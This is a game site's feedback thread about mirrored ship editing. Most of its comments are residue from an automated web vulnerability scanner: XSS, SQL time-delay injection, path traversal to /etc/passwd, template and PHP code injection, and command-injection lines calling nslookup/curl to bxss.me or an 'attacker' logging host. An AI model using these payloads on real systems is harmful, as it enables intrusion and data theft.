Feedback

Mirrored editing by wombat - 152 months ago

It would improve the editor a lot if you could edit points in a mirrored mode to easily create symmetrical ships

• Erik

  This is a great idea! Noted.

• lxbfYeaa

  1

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1lBcMtKp8O

• 1B0X04BZtpO

  1

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  ${9999533+9999628}

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• ${10000147+10000472}

  1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  echo llxyhq$()\ szulmc\nz^xyu||a #' &echo llxyhq$()\ szulmc\nz^xyu||a #|" &echo llxyhq$()\ szulmc\nz^xyu||a #

• Anonymous

  1

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  response.write(9923448*9341530)

• WfxYANoW

  &echo qkmyfs$()\ nojtli\nz^xyu||a #' &echo qkmyfs$()\ nojtli\nz^xyu||a #|" &echo qkmyfs$()\ nojtli\nz^xyu||a #

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  '+response.write(9923448*9341530)+'

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  "+response.write(9923448*9341530)+"

• WfxYANoW

  1

• WfxYANoW

  1&echo sxeocb$()\ znuvth\nz^xyu||a #' &echo sxeocb$()\ znuvth\nz^xyu||a #|" &echo sxeocb$()\ znuvth\nz^xyu||a #

• WfxYANoW

  ../1

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  |echo thcikz$()\ ynsbbd\nz^xyu||a #' |echo thcikz$()\ ynsbbd\nz^xyu||a #|" |echo thcikz$()\ ynsbbd\nz^xyu||a #

• WfxYANoW

  1|echo ylozoc$()\ xvziva\nz^xyu||a #' |echo ylozoc$()\ xvziva\nz^xyu||a #|" |echo ylozoc$()\ xvziva\nz^xyu||a #

• WfxYANoW

  (nslookup -q=cname hitakgxuzvble2a470.bxss.me||curl hitakgxuzvble2a470.bxss.me))

• WfxYANoW

  /etc/shells

• WfxYANoW

  sIUenvvq

• WfxYANoW

  $(nslookup -q=cname hitekqrlvwqhb542a4.bxss.me||curl hitekqrlvwqhb542a4.bxss.me)

• response.write(9696173*9300611)

  1

• WfxYANoW

  DmDO1Qmc: OVQZfiOb

• file:///etc/passwd

  1

• LzUoJkMV

  1

• WfxYANoW

  1

• '+response.write(9696173*9300611)+'

  1

• "+response.write(9696173*9300611)+"

  1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  &nslookup -q=cname hitidtqpjtjhs08561.bxss.me&'\"`0&nslookup -q=cname hitidtqpjtjhs08561.bxss.me&`'

• WfxYANoW

  &(nslookup -q=cname hittgfcyfpjwf5e69e.bxss.me||curl hittgfcyfpjwf5e69e.bxss.me)&'\"`0&(nslookup -q=cname hittgfcyfpjwf5e69e.bxss.me||curl hittgfcyfpjwf5e69e.bxss.me)&`'

• ../WfxYANoW

  1

• WfxYANoW

  |(nslookup -q=cname hitszlwvgwkohb10d7.bxss.me||curl hitszlwvgwkohb10d7.bxss.me)

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  `(nslookup -q=cname hitubqfbqhomx648be.bxss.me||curl hitubqfbqhomx648be.bxss.me)`

• WfxYANoW

  bxss.me

• WfxYANoW

  ;(nslookup -q=cname hitmixyncckhi83491.bxss.me||curl hitmixyncckhi83491.bxss.me)|(nslookup -q=cname hitmixyncckhi83491.bxss.me||curl hitmixyncckhi83491.bxss.me)&(nslookup -q=cname hitmixyncckhi83491.bxss.me||curl hitmixyncckhi83491.bxss.me)

• cENqZFFneng=

  1

• WfxYANoW

  1&n905373=v932108

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hittutydzahhd34455.bxss.me||curl${IFS}hittutydzahhd34455.bxss.me)

• wTLd7eaJ: HqaEtete

  1

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitszvpvemckia176a.bxss.me||curl${IFS}hitszvpvemckia176a.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitszvpvemckia176a.bxss.me||curl${IFS}hitszvpvemckia176a.bxss.me)&`'

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  )

• Http://bxss.me/t/fit.txt

  1

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW&n991819=v938515

  1

• /etc/shells

  1

• WfxYANoW

  1

• WfxYANoW

  '.gethostbyname(lc('hitib'.'chehklea6bf77.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(90).chr(114).chr(85).'

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  '"()

• WfxYANoW

  ".gethostbyname(lc("hitik"."ckzywexzdef32.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(74).chr(117).chr(70)."

• WfxYANoW

  1'&&sleep(27*1000)*zrdfpi&&'

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  gethostbyname(lc('hittg'.'rgbvgbyn6d672.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(86).chr(97).chr(90)

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• )

  1

• c:/windows/win.ini

  1

• bxss.me

  1

• WfxYANoW

  1"&&sleep(27*1000)*yohsjg&&"

• WfxYANoW

  1

• WfxYANoW

  ';print(md5(31337));$a='

• !(()&&!|*|*|

  1

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  1'||sleep(27*1000)*uvjrty||'

• WfxYANoW

  ";print(md5(31337));$a="

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  '"

• WfxYANoW

  <!--

• WfxYANoW

  1'"()&%<zzz><ScRiPt >kNzF(9065)</ScRiPt>

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  1"||sleep(27*1000)*kmwagg||"

• '"

  1

• xfs.bxss.me

  1

• ';print(md5(31337));$a='

  1

• <!--

  1

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  1

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(120).concat(65).concat(121).concat(68)+(require"socket" Socket.gethostbyname("hitgt"+"rgyeogdj12aad.bxss.me.")[3].to_s)+"

• ";print(md5(31337));$a="

  1

• WfxYANoW

  bxss.me/t/xss.html?%00

• ${@print(md5(31337))}

  1

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(104).concat(77).concat(112).concat(82)+(require'socket' Socket.gethostbyname('hitlq'+'tjdxfpkf86635.bxss.me.')[3].to_s)+'

• ${@print(md5(31337))}\

  1

• '"()

  1

• bxss.me/t/xss.html?%00

  1

• '.print(md5(31337)).'

  1

• WfxYANoW'&&sleep(27*1000)*ykgsnb&&'

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(101).concat(70).concat(105).concat(86)+(require'socket' Socket.gethostbyname('hityy'+'wmoaydmlf2207.bxss.me.')[3].to_s)

• WfxYANoW"&&sleep(27*1000)*qpdbns&&"

  1

• WfxYANoW

  '"()&%<zzz><ScRiPt >kNzF(9476)</ScRiPt>

• WfxYANoW'||sleep(27*1000)*cqzfgk||'

  1

• WfxYANoW

  19497360

• WfxYANoW

  comment

• WfxYANoW

  comment

• WfxYANoW

  bfg8577＜s1﹥s2ʺs3ʹhjl8577

• WfxYANoW"||sleep(27*1000)*pjlmvm||"

  1

• WfxYANoW

  comment/.

• comment

  1

• comment

  1

• comment/.

  1

• WfxYANoW

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >kNzF(9130)</ScRiPt>

• WfxYANoW

  1NsGcYC3z

• WfxYANoW

  1<WHGA4H>O4JJ6[!+!]</WHGA4H>

• WfxYANoW

  1<script>kNzF(9369)</script>

• WfxYANoW

  1<script>kNzF(9476)</script>9476

• WfxYANoW

  1<ScR<ScRiPt>IpT>kNzF(9693)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >kNzF(9401)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9422></ScRiPt>

• WfxYANoW

  1<ScRiPt >kNzF(9943)</ScRiPt>

• WfxYANoW

  1

• WfxYANoW

  1<isindex type=image src=1 onerror=kNzF(9086)>

• WfxYANoW

  -1 OR 2+725-725-1=0+0+0+1 --

• WfxYANoW

  -1 OR 2+716-716-1=0+0+0+1

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9144'>

• WfxYANoW

  -1' OR 2+459-459-1=0+0+0+1 --

• WfxYANoW

  -1' OR 2+786-786-1=0+0+0+1 or 'LxbCykuu'='

• WfxYANoW

  1<body onload=kNzF(9678)>

• WfxYANoW

  -1" OR 2+610-610-1=0+0+0+1 --

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=kNzF(9458)>

• WfxYANoW

  1<img src=xyz OnErRor=kNzF(9036)>

• WfxYANoW

  1<img/src=">" onerror=alert(9660)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%6B%4E%7A%46%289352%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\kNzF(9558)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;kNzF(9275)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=kNzF(9476)>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1}body{zzz:Expre/**/SSion(kNzF(9619))}

• WfxYANoW

  1RLM6o <ScRiPt >kNzF(9947)</ScRiPt>

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• WfxYANoW

  1<WHG3ZZ>RGSAV[!+!]</WHG3ZZ>

• WfxYANoW

  1<ifRAme sRc=9255.com></IfRamE>

• WfxYANoW

  1<aDNWFxt x=9579>

• WfxYANoW

  1<img sRc='http://attacker-9186/log.php?

• WfxYANoW

  1<akwnpSF<

• WfxYANoW'"()&%<zzz><ScRiPt >kNzF(9591)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >kNzF(9461)</ScRiPt>

  1

• WfxYANoW9584859

  1

• bfg5658＜s1﹥s2ʺs3ʹhjl5658

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >kNzF(9989)</ScRiPt>

  1

• WfxYANoW<WROQSN>2ZEBZ[!+!]</WROQSN>

  1

• WfxYANoW<script>kNzF(9275)</script>

  1

• WfxYANoW<script>kNzF(9480)</script>9480

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW<ScRiPt >kNzF(9741)</ScRiPt>

  1

• WfxYANoW<ScRiPt >kNzF(9512)</ScRiPt>

  1

• WfxYANoW<body onload=kNzF(9215)>

  1

• WfxYANoW<img src=xyz OnErRor=kNzF(9041)>

  1

• WfxYANoW<img/src=">" onerror=alert(9663)>

  1

• WfxYANoW\u003CScRiPt\kNzF(9267)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;kNzF(9340)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=kNzF(9572)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW}body{zzz:Expre/**/SSion(kNzF(9832))}

  1

• WfxYANoW5PDJ2 <ScRiPt >kNzF(9090)</ScRiPt>

  1

• WfxYANoW<WXSDFS>7O7FT[!+!]</WXSDFS>

  1

• WfxYANoW<ifRAme sRc=9516.com></IfRamE>

  1

• WfxYANoW<a3oYM5Z x=9492>

  1

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW<img sRc='http://attacker-9367/log.php?

  1

• WfxYANoW<avoaD7L<

  1

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1xmCaQ6W9'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 688=(SELECT 688 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 199=(SELECT 199 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 860=(SELECT 860 FROM PG_SLEEP(15))--

• WfxYANoW

  1jkNrerTi' OR 905=(SELECT 905 FROM PG_SLEEP(15))--

• WfxYANoW

  1e1L4beDy') OR 226=(SELECT 226 FROM PG_SLEEP(15))--

• WfxYANoW

  1Oq2wfYG1')) OR 17=(SELECT 17 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@b6Hix

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWK0VtCTFS

  1

• WfxYANoW

  1

• -1 OR 2+397-397-1=0+0+0+1 --

  1

• -1 OR 2+940-940-1=0+0+0+1

  1

• -1' OR 2+421-421-1=0+0+0+1 --

  1

• -1' OR 2+115-115-1=0+0+0+1 or '73pze4Kz'='

  1

• -1" OR 2+943-943-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoW3nhFYr7w'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@cu14D

  1

• Pecedec150

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• veofgajf

  1

• qhbjdryg

  response.write(9390635*9225876)

• guxfobtv

  1

• qhbjdryg

  '+response.write(9390635*9225876)+'

• guxfobtv

  1

• nqmytwkd

  set|set&set

• inabauec

  esBoV69a

• qhbjdryg

  "+response.write(9390635*9225876)+"

• guxfobtv

  ggatIyie

• nbofkvus

  ../../../../../../../../../../etc/passwd

• nqmytwkd

  $(nslookup lj8SFiwS)

• LDcWJCQh

  1

• response.write(9020602*9452120)

  1

• guxfobtv

  -1 OR 2+683-683-1=0+0+0+1 --

• nbofkvus

  ../../../../../../../../../../../../../../../proc/version

• nqmytwkd

  &nslookup 4kkVrTq4&'\"`0&nslookup 4kkVrTq4&`'

• ojwyftpu

  1

• tcdcopgc

  ${9999963+9999012}

• '+response.write(9020602*9452120)+'

  1

• guxfobtv

  -1 OR 2+792-792-1=0+0+0+1

• nbofkvus

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• set|set&set

  1

• ${9999961+10000180}

  1

• "+response.write(9020602*9452120)+"

  1

• guxfobtv

  -1' OR 2+196-196-1=0+0+0+1 --

• nbofkvus

  ../../../../../../../../../../etc/passwd.jpg

• $(nslookup xJCwNBUR)

  1

• mhhxtadu

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• anJURVRwTVY=

  1

• guxfobtv

  -1' OR 2+663-663-1=0+0+0+1 or 'JpXA2rJ3'='

• qqvfogav

  1&n905694=v906430

• nbofkvus

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• &nslookup Mgxa4l0x&'\"`0&nslookup Mgxa4l0x&`'

  1

• mhhxtadu

  1some_inexistent_file_with_long_name.jpg

• udffgkce

  )

• guxfobtv

  -1" OR 2+133-133-1=0+0+0+1 --

• nbofkvus

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• ojwyftpu

  1

• mhhxtadu

  Http://testasp.vulnweb.com/t/fit.txt

• udffgkce

  !(()&&!|*|*|

• guxfobtv

  if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/

• bilyqsjg&n976816=v986084

  1

• nbofkvus

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• wvmewdsa

  '"()

• Anonymous

  1

• mhhxtadu

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• udffgkce

  ^(#$!@#$)(()))******

• guxfobtv

  if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/

• nbofkvus

  /etc/passwd

• mhhxtadu

  testasp.vulnweb.com

• )

  1

• guxfobtv

  (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/

• nbofkvus

  %2fetc%2fpasswd

• hnentanw

  ;print(md5(acunetix_wvs_security_test));

• '"()

  1

• !(()&&!|*|*|

  1

• guxfobtv

  (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/

• nbofkvus

  /.././.././.././.././.././.././.././../etc/./passwd%00

• hnentanw

  ';print(md5(acunetix_wvs_security_test));$a='

• cdcxvmeb

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• vewahukf

  1

• 1some_inexistent_file_with_long_name.jpg

  1

• ^(#$!@#$)(()))******

  1

• guxfobtv

  -1; waitfor delay '0:0:3' --

• nbofkvus

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• hnentanw

  ";print(md5(acunetix_wvs_security_test));$a="

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• vewahukf

  comment

• Http://testasp.vulnweb.com/t/fit.txt

  1

• vgaquksx

  http://hitxk9adCcZEK.bxss.me/

• dljwflpp

  1

• guxfobtv

  -1; waitfor delay '0:0:7' --

• nbofkvus

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• hnentanw

  ${@print(md5(acunetix_wvs_security_test))}

• bmfwdqpj

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• vewahukf

  comment

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• http://hitlHbnpyPd6S.bxss.me/

  1

• dljwflpp

  1'"

• guxfobtv

  -1); waitfor delay '0:0:3' --

• hnentanw

  ${@print(md5(acunetix_wvs_security_test))}\

• vewahukf

  comment/.

• testasp.vulnweb.com

  1

• uxqmthdj

  /www.vulnweb.com

• dljwflpp

  \

• guxfobtv

  -1); waitfor delay '0:0:10' --

• nbofkvus

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• ;print(md5(acunetix_wvs_security_test));

  1

• ppjtykgl

  '"

• vewahukf

  1

• npvxdjbo

  1'"()&%<acx><ScRiPt >4WSE(9525)</ScRiPt>

• /www.vulnweb.com

  1

• guxfobtv

  1 waitfor delay '0:0:7' --

• nbofkvus

  file:///etc/passwd

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• ppjtykgl

  <!--

• comment

  1

• dljwflpp

  @@BenWu

• guxfobtv

  PmsMzL0g'; waitfor delay '0:0:7' --

• nbofkvus

  /\../\../\../\../\../\../\../etc/passwd

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• '"

  1

• comment

  1

• npvxdjbo

  '"()&%<acx><ScRiPt >4WSE(9006)</ScRiPt>

• dljwflpp

  JyI=

• guxfobtv

  -1;select pg_sleep(7); --

• nbofkvus

  WEB-INF/web.xml

• ${@print(md5(acunetix_wvs_security_test))}

  1

• <!--

  1

• comment/.

  1

• guxfobtv

  -1);select pg_sleep(10); --

• nbofkvus

  /WEB-INF/web.xml

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• npvxdjbo

  1_9489

• guxfobtv

  -1));select pg_sleep(10); --

• nbofkvus

  WEB-INF\web.xml

• dljwflpp

  (select convert(int,CHAR(65)))

• guxfobtv

  WoExDKKS';select pg_sleep(10); --

• ../../../../../../../../../../etc/passwd

  1

• npvxdjbo

  acu8159＜s1﹥s2ʺs3ʹuca8159

• dljwflpp

  1

• guxfobtv

  nfT0hJQr');select pg_sleep(10); --

• 1'"

  1

• guxfobtv

  yILfxmpA'));select pg_sleep(3); --

• \

  1

• guxfobtv

  IlzoOhYo'));select pg_sleep(0); --

• ../../../../../../../../../../etc/passwd.jpg

  1

• guxfobtv

  1

• npvxdjbo

  {{9999494*9999678}}

• @@oQSZK

  1

• guxfobtv

  1

• JyI=

  1

• Xf49mXRa

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• npvxdjbo

  1<ScRiPt >4WSE(9041)</ScRiPt>

• -1 OR 2+436-436-1=0+0+0+1 --

  1

• /etc/passwd

  1

• -1 OR 2+560-560-1=0+0+0+1

  1

• %2fetc%2fpasswd

  1

• (select convert(int,CHAR(65)))

  1

• npvxdjbo

  1<WMJUJY>SLEOD[!+!]</WMJUJY>

• -1' OR 2+421-421-1=0+0+0+1 --

  1

• -1' OR 2+480-480-1=0+0+0+1 or 'v7IGNjKj'='

  1

• npvxdjbo

  1<script>4WSE(9617)</script>

• -1" OR 2+595-595-1=0+0+0+1 --

  1

• npvxdjbo

  1<ScR<ScRiPt>IpT>4WSE(9520)</sCr<ScRiPt>IpT>

• 1 waitfor delay '0:0:13' --

  1

• file:///etc/passwd

  1

• npvxdjbo

  1<ScRiPt >4WSE(9298)</ScRiPt>

• eIktkwAd'; waitfor delay '0:0:13' --

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• Uq3PG1ew';select pg_sleep(13); --

  1

• WEB-INF/web.xml

  1

• npvxdjbo

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9240></ScRiPt>

• nY40hkaX');select pg_sleep(4); --

  1

• /WEB-INF/web.xml

  1

• 3w8If2Uu'));select pg_sleep(4); --

  1

• WEB-INF\web.xml

  1

• npvxdjbo

  1<ScRiPt >4WSE(9899)</ScRiPt>

• npvxdjbo

  1<video><source onerror="javascript:4WSE(9586)">

• npvxdjbo

  1<isindex type=image src=1 onerror=4WSE(9426)>

• npvxdjbo

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9328'>

• npvxdjbo

  1<body onload=4WSE(9697)>

• npvxdjbo

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=4WSE(9140)>

• npvxdjbo

  1<img src=xyz OnErRor=4WSE(9514)>

• npvxdjbo

  1<img/src=">" onerror=alert(9040)>

• npvxdjbo

  %31%3C%53%63%52%69%50%74%20%3E%34%57%53%45%289674%29%3C%2F%73%43%72%69%70%54%3E

• npvxdjbo

  1\u003CScRiPt\4WSE(9254)\u003C/sCripT\u003E

• npvxdjbo

  1&lt;ScRiPt&gt;4WSE(9809)&lt;/sCripT&gt;

• npvxdjbo

  1<input autofocus onfocus=4WSE(9130)>

• npvxdjbo

  <a HrEF=http://www.vulnweb.com></a>

• npvxdjbo

  <a HrEF=jaVaScRiPT:>

• npvxdjbo

  [url=http://www.vulnweb.com][/url]

• npvxdjbo

  1<img<!-- --> src=x onerror=alert(9590);//><!-- -->

• npvxdjbo

  1}body{acu:Expre/**/SSion(4WSE(9850))}

• npvxdjbo

  1<% contenteditable onresize=4WSE(9106)>

• npvxdjbo

  1_m3GnN <ScRiPt >4WSE(9395)</ScRiPt>

• npvxdjbo

  1<WEEM18>T2G02[!+!]</WEEM18>

• npvxdjbo

  1<ifRAme sRc=9063.com></IfRamE>

• npvxdjbo

  1<kKpxtR x=9416>

• npvxdjbo

  1<img sRc='http://attacker-9701/log.php?

• npvxdjbo'"()&%<acx><ScRiPt >4WSE(9907)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >4WSE(9521)</ScRiPt>

  1

• npvxdjbo_9151

  1

• acu1120＜s1﹥s2ʺs3ʹuca1120

  1

• {{10000364*9999655}}

  1

• npvxdjbo<ScRiPt >4WSE(9071)</ScRiPt>

  1

• npvxdjbo<W0WXGF>RSETJ[!+!]</W0WXGF>

  1

• npvxdjbo<script>4WSE(9149)</script>

  1

• npvxdjbo<ScRiPt >4WSE(9129)</ScRiPt>

  1

• npvxdjbo<ScRiPt >4WSE(9908)</ScRiPt>

  1

• npvxdjbo<body onload=4WSE(9055)>

  1

• npvxdjbo<img src=xyz OnErRor=4WSE(9974)>

  1

• npvxdjbo<img/src=">" onerror=alert(9499)>

  1

• npvxdjbo\u003CScRiPt\4WSE(9966)\u003C/sCripT\u003E

  1

• npvxdjbo&lt;ScRiPt&gt;4WSE(9347)&lt;/sCripT&gt;

  1

• npvxdjbo<input autofocus onfocus=4WSE(9082)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• npvxdjbo}body{acu:Expre/**/SSion(4WSE(9200))}

  1

• npvxdjbo<% contenteditable onresize=4WSE(9298)>

  1

• npvxdjbo_FzR2z <ScRiPt >4WSE(9169)</ScRiPt>

  1

• npvxdjbo<WAIW5G>G76OK[!+!]</WAIW5G>

  1

• npvxdjbo<ifRAme sRc=9693.com></IfRamE>

  1

• npvxdjbo<0Mb5k6 x=9562>

  1

• npvxdjbo<img sRc='http://attacker-9369/log.php?

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

  8064 agree

• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2857 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  798 agree

• editro
  By critic - 155 months ago
  Unvote

  772 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Unvote

  746 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  710 agree

• Change Name?
  By Anonymous - 155 months ago
  Unvote

  681 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  661 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  660 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 150 months ago
  Unvote

  644 agree

• Rank list & Leaderboards
  By StoleYourFood - 149 months ago
  Unvote

  632 agree

• What browsers are supported?
  By Jack - 151 months ago
  Unvote

  623 agree

• It doesn't work!
  By the destructor - 154 months ago
  Unvote

  622 agree

• Awesome
  By Anonymous - 147 months ago
  Unvote

  602 agree

